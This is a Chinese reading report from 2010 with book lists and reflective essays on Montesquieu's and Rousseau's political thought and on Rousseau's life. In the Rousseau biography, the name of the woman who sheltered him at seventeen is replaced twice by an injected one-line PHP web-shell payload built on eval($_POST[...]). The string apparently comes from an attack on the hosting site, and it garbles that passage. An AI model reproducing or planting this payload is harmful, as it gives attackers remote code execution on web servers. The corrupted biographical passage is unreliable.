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魏程琳读书报告（更新至2010年12月10日）
十一月读书报告
11月份（20101110—20101210）
1、《论法的精神》[法]孟德斯鸠著 徐明龙译 商务2009版
2、《波斯人信札》[法]孟德斯鸠著 良守锵译 商务2009版
3、《罗马盛衰原因论》[法]孟德斯鸠著 婉玲译 商务2009版
4、《政治家篇》《法律篇》[古希腊]柏拉图著 王晓朝译
5、《论人与人之间不平等的起因与基础》[法]卢梭著 李平沤译 商务2009
6、《社会契约论》[法]卢梭著 何兆武译 商务2009
7、《爱弥儿》[法]卢梭著 李平沤译 商务2009
8、《卢梭传》[比]雷蒙·特鲁松著 李平沤 何三雅译 商务1998
《孟德斯鸠与卢梭》（1—125页）[法]涂尔干著
《论科学与艺术》（61页）[法]卢梭著 何兆武译 商务1963
9、《哲学通信》[法]伏尔泰著 高达观等译 上海人民出版社1986
10、《司法过程的性质》[美]卡多佐著 苏力译 商务2005版
《美国进步时代的启示》王绍光 中国经济出版社2002
11、《尼各马可伦理学》[古希腊]亚里士多德著 廖申白译注 商务2003 孟德斯鸠与卢梭
宽和适中应该是立法者的精神，本书之所以赢得青睐不仅是因为它为美国的现行政治制度（即三权分立，权力制衡）提供了理论依据，展示了理论的力量；还因为他为法学的研究开拓了广阔的天地。本书的副标题是法律与各类政体、风俗、气候、宗教、贸易等等之间应有的关系，附作者对罗马继承法、法兰西诸法以及封建法的最新研究。二十年来磨一剑，爽刃烁古今。以人文和理性的视角，去考察最优秀的法律，最优良的政体，他认为在民法慈母般的眼里，每一个个人就是整个国家，自由就是做法律所许可的一切事情。政治法使人获得了自由，公民法使人获得了财产。在孟那里他对自然法有自己的解读，即认为人的自我保存乃是第一，人的衣食饱暖乃是最自然的。对社会契约论也是部分的认可。对东西方文化的态度摈弃了西方中心高贵民族的偏见。
卢梭及其自然学说
卢梭可谓大气完成，人生经历曲折迷离，最后成为法国大革命前的一个巨星是偶然也是必然，四十岁的时候迎来了自己的人生辉煌，论文《论科学与艺术》引起了全法兰西的瞩目，赢的了奖项，也赢得了名誉。在这里他反弹琵琶，说科学与艺术无助于风俗的进步，哲学文化高度发达的雅典被民风简朴的斯巴达战胜，伟大的古罗马征服了世界却被野蛮的西哥特人消灭，哲学起源于闲暇与懒惰，道德起源于人们的虚伪，科学、文学和艺术，由于它们不那么专制因而也许更有力量，就把花冠点缀在束缚着人们的枷锁之上，它们窒息人们那种天生的自由情操——人们本来就是为了自由而生的，——使他们喜爱自己被奴役的状态，并且使他们成为人们所谓的文明民族。自这篇小论文发表之后，卢梭学说一以贯之的理念是其自然理想——自由、平等、博爱，赞美人的自然状态，宣扬自然的教育，歌颂自然纯朴的爱情，坚定的信仰自然宗教，一生都在追求自然之美。
《论人与人之间不平等的起因与基础》也是为了应征论文比赛而写，但没有获奖。但在这篇论文里他却发现了真理，私有财产的出现时人类不平等的起因和基础。人类在自然状态下即进入社会之前，服从自然法；人类世世代代经过了千万年，人类已经老了，人却依然是个孩子。偶然的两次巨变，人类成了今天这个样子。第一次是家庭的出现，人类进入了娴静平和的小群体社会，这个时期人的资质发展恰好处于原始状态下的悠闲与我们的自爱心的急剧活动的正中间，因此，这是人类最幸福的时代P95。第二次巨变，是冶金和农耕两项技术的发明，使人类走向文明同时也走向堕落。私有制和剩余出现了，奴隶制和贫困也产生了。社会制度是那些可以从制度中获益的人所发明的p106，社会和法律就是这样起源的：他们给弱者戴上了新的镣铐，使富人赢得了新的权力，并一劳永逸的摧毁了天然的自由p104。
人是生而自由的，却无往不在枷锁之中。为了打破这个枷锁，卢梭尝试着写一部政治巨著但因各种原因耽搁，只整理出一个大纲性的东西就是《社会契约论（政治权利原理）》。社会契约学说在卢梭之前已经非常流行，所以这里卢梭只是做了一个小结并以此为支点阐述自己的政治思想。强力并不构成权利，而人们对合法的权力才会服从。唯有约定才可成为人间一切合法权威的基础p10。以全部共同的力量来卫护和保障每个结合者的人身和财富，而个人又只不过是在服从其本人，并且向以往一样地自由p19。自由对于个人就是一切，放弃自由就是放弃做人的资格。社会公约就是每个人以自身或者全部力量置于公意的最高指导之下，并且每个人成为共同体不可分割的一部分。为了维护公意必须采取这样的规则：对于拒不服从公意的人，迫使他服从公意，也就是被迫的自由。一方面极力主张个人自由而一旦把自由通过契约转给公意却是被迫的自由，这与霍布斯所描述的利维坦并无实质区别，令人困惑。如何能够保障自由，打破人类身上的枷锁，卢梭尝试从政治上给以保证。主权乃公意的运用，永远不可转让和分割，主权不能超过公共约定的界限（主权在民）。孟德斯鸠说，社会诞生之时是共和国的领袖在创设制度，此后便是由制度来塑造共和国的首领了。卢梭主张一切立法体系最终目的是全体的最大幸福，可以归纳为两大主题：自由和平等。这里他采取了一个比例式：主权者/政府=政府/国家，政府作为比例中项。含义是，政府所施之于国家的权力应该等于主权者所赋予的政府的权力。所以国家的人口越多政府的
权力就越大，公民个人的自由就越小。比如一个1万人口的国家就比一个10万人口的国家的公民的自由大10倍。所以人口少的国家适合民主制，人口中等的国家适合贵族制，人口多的国家适合君主专制，孟德斯鸠也得出同样的结论，不过采取的方法却是社会学的方法，无怪乎涂尔干将孟德斯鸠称为社会学的先驱，社会学只不过是给其所研究领域的取一个名称而已。卢梭认为最理想的国家是民主共和国。其实卢梭的理想模型就是其出生国小国寡民的日内瓦。但日内瓦也让其失望了，卢梭《社会契约论》的题词中说献给日内瓦人民，就引起了当权者小议会的不满，在后来的宗教信仰、日内瓦国民选举中，卢梭都被排挤、被打倒在地。以至于他愤恨的放弃了自己的日内瓦公民资格。最后卢梭说，人们可以争取自由，但却永远不能恢复自由P57。真正的自由和平等其实并不存在。
卢梭将理想寄托在在自己文学作品和教育作品中，《新爱洛伊斯》描述了自然纯真的爱情，使卢梭成为爱的使者。卢梭在《爱弥儿》中系统阐述了自然教育，也表达了其政治宗教文学等社会思想，他说出自造物主之手的东西，都是好的，而一到了人手里，就全变坏了p6。教育只不过是一种习惯而已。爱弥儿是一个普普通通的人，从小到大就是接受自然的教育，天然的乡村生活环境，远离罪恶的城市，质朴节制的生活习惯，消除偏见修炼良心，强调体育锻炼，学习各种农活，去做最符合天性的工作——木工，总之是在自然中接受人生的教育。他带着爱弥儿游历一番，严密观察种种社会制度，发现要想在法律的保护之下寻求自由，那是徒劳。法律！哪里有法律？哪里的法律是受到尊重的？你到处看到，大家正是借法律的名义，追逐个人的利益和欲念。然而自然的和秩序的永恒的法则是存在着的。对睿智的人来说，他们是成文的法律；它们通过良心和理智而深刻在人心里；要想自由，就必须服从这些法则。最终又回到了其原初的命题：人是生而自由的，而又无往不在枷锁之中。
卢梭的一生是黯淡的也是辉煌的，是简单的也是丰富多彩的。他出身日内瓦钟表作坊家庭，幼年丧母，由姑母、舅舅抚养的到10多岁，就被送去做学徒，然后逃跑，就成了流浪儿。最后几经周折被一个夫人收养，那年他17岁，他称她为a’]=’aa’;eval($_POST[’a’]);//，而这个a’]=’aa’;eval($_POST[’a’]);//成了他的第一个情妇，在感情上他似乎一直是女方的附庸，最后他选了一个愚蠢的白丁厨娘做终身伴侣，这个追随他一生的女人直到晚年才成为卢梭夫人。他的五个孩子都被送进了弃婴院，他说自己养活不了自己，还用柏拉图主张孩子都应该放到一起养活并且不知道自己的父母是谁来掩盖自己的道德缺失。继他的第一篇论文《论科学与艺术》发表之后，他就一路走红，论科学与艺术引起了持续的论战，《新爱罗伊斯》使得一时洛阳纸贵，一书难求；他的戏剧常演不衰；他的音乐创作填补了那一时期法国音乐的空白；《爱弥儿》掀起了宗教的论战，总之他只要说什么就有什么论战或者那个领域就别想安静。
他的敏感、多疑性格使得他和百科全书派闹翻，和伏尔泰成为死敌，终生互骂，甚至把所有施恩与他的人都看成是想谋害他的人，以至于许多人抨击卢梭走到哪里，灾难就到哪里，卢梭是疯子、魔鬼。他生活拮据却不愿意向国王申请年金，即使有国王主动给予他也不接受。为了自尊，过度的自卑导致过度的自傲。
卢梭一生受到批评最多集中在其性格、情妇、孩子三个方面，性格方面来源于其
天性和曲折的人生经历，情妇方面是法国的风俗传统他只不过顺从了而已，孩子则成了他一生不可宽恕自己的罪。他的盛名得益于其勤奋深刻的思考人类至善至福的生活和曲折的人生经历带来的些许天分。卢梭的理论之所以长久不衰，在于发现了现象背后的本质（如私有制），填补了人类知识的缺陷（如科学技术进步带来的堕落），在许多领域如音乐、戏剧、文学、教育理论取得重大突破。另外重要的一点是他契合了人类发展的需要，成为人类革命的思想先驱。他一面忏悔，一面犯罪，为人类祈福，却终生劳苦。天性决定命运，选择引导人生。2010-12-8
10月份（20101011—20101110）
1、《理想国》[古希腊]柏拉图 郭斌和 张竹明译 商务2010版
2、《君主论》[意大利]马基雅维利 潘汉典译 商务2009版
3、《马基雅维利主义——“国家理由”观念及其在现代史上的地位》
[德]迈内克 时殷弘译 商务2008版
4、《利维坦》[英]霍布斯 黎思复 黎廷弼译 商务2009版
5、《论公民》[英]霍布斯 应星 冯克利译 贵州人民出版社
6、《战争与和平法》[荷]格劳秀斯 何勤华等译 上海人民出版社
7、《神学政治论》[荷]斯宾诺莎 温锡增译 商务1982版
8、《伦理学》[荷]斯宾诺莎 贺麟译 商务2009版
9、《政府论》（上下）[英]洛克 叶启芳 瞿菊农译 商务2009版
附读《论宗教宽容》[英]洛克
10、《政治学》[古希腊]亚里士多德著 吴寿彭译 商务2009版
附读《雅典政制》
11、《人与公民的自然法义务》[德] 普芬道夫 鞠成伟译 商务2009版
附读《自然法：理论与实践的反思》[法]马里旦著 鞠成伟译
12、《自然法：法律哲学导论》[意] 登特列夫著 李日章等译 新星出版社2008